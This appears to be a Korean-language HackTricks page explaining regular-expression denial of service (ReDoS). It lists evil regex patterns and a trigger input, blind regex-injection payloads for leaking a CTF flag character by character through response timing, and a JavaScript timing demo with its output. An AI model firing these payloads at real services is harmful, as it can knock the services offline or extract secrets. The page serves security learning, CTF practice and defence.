# 정규 표현식 서비스 거부 - ReDoS {{#include ../banners/hacktricks-training.md}} # 정규 표현식 서비스 거부 (ReDoS) **정규 표현식 서비스 거부 (ReDoS)**는 누군가가 정규 표현식(텍스트에서 패턴을 검색하고 일치시키는 방법)의 작동 방식의 약점을 이용할 때 발생합니다. 때때로 정규 표현식이 사용될 때, 처리하는 텍스트 조각이 커질수록 매우 느려질 수 있습니다. 이 느림은 텍스트 크기가 조금만 증가해도 매우 빠르게 증가할 수 있습니다. 공격자는 이 문제를 이용하여 정규 표현식을 사용하는 프로그램이 오랫동안 제대로 작동하지 않도록 만들 수 있습니다. ## 문제의 정규 표현식 단순 알고리즘 **자세한 내용은 [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)에서 확인하세요.** ## 악성 정규 표현식 악성 정규 표현식 패턴은 **조작된 입력에 갇혀 서비스 거부를 일으킬 수 있는** 패턴입니다. 악성 정규 표현식 패턴은 일반적으로 반복이 있는 그룹화와 반복 또는 겹치는 대체를 포함합니다. 악성 패턴의 몇 가지 예는 다음과 같습니다: - (a+)+ - ([a-zA-Z]+)\* - (a|aa)+ - (a|a?)+ - (.\*a){x} for x > 10 이 모든 것은 입력 `aaaaaaaaaaaaaaaaaaaaaaaa!`에 취약합니다. ## ReDoS 페이로드 ### ReDoS를 통한 문자열 유출 CTF(또는 버그 바운티)에서 민감한 정보(플래그)가 일치하는 정규 표현식을 **제어할 수 있다면** 유용할 수 있습니다. 그런 다음 **정규 표현식이 일치할 때** **페이지가 멈추게(타임아웃 또는 더 긴 처리 시간)** 만들 수 있습니다. 이렇게 하면 문자열을 **문자 단위로 유출**할 수 있습니다: - [**이 게시물**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)에서 이 ReDoS 규칙을 찾을 수 있습니다: `^(?=)((.*)*)*salt$` - 예: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$` - [**이 작성물**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)에서 이 패턴을 찾을 수 있습니다: `(((((((.*)*)*)*)*)*)*)!` - [**이 작성물**](https://ctftime.org/writeup/25869)에서는: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`를 사용했습니다. ### ReDoS 입력 및 정규 표현식 제어 다음은 **입력**과 **정규 표현식**을 모두 **제어하는** **ReDoS** 예제입니다: ```javascript function check_time_regexp(regexp, text) { var t0 = new Date().getTime() new RegExp(regexp).test(text) var t1 = new Date().getTime() console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.") } // This payloads work because the input has several "a"s ;[ // "((a+)+)+$", //Eternal, // "(a?){100}$", //Eternal "(a|a?)+$", "(\\w*)+$", //Generic "(a*)+$", "(.*a){100}$", "([a-zA-Z]+)*$", //Generic "(a+)*$", ].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!")) /* Regexp (a|a?)+$ took 5076 milliseconds. Regexp (\w*)+$ took 3198 milliseconds. Regexp (a*)+$ took 3281 milliseconds. Regexp (.*a){100}$ took 1436 milliseconds. Regexp ([a-zA-Z]+)*$ took 773 milliseconds. Regexp (a+)*$ took 723 milliseconds. */ ``` ## 도구 - [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit) - [https://devina.io/redos-checker](https://devina.io/redos-checker) ## 참고자료 - [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS) - [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) - [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) - [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869) {{#include ../banners/hacktricks-training.md}}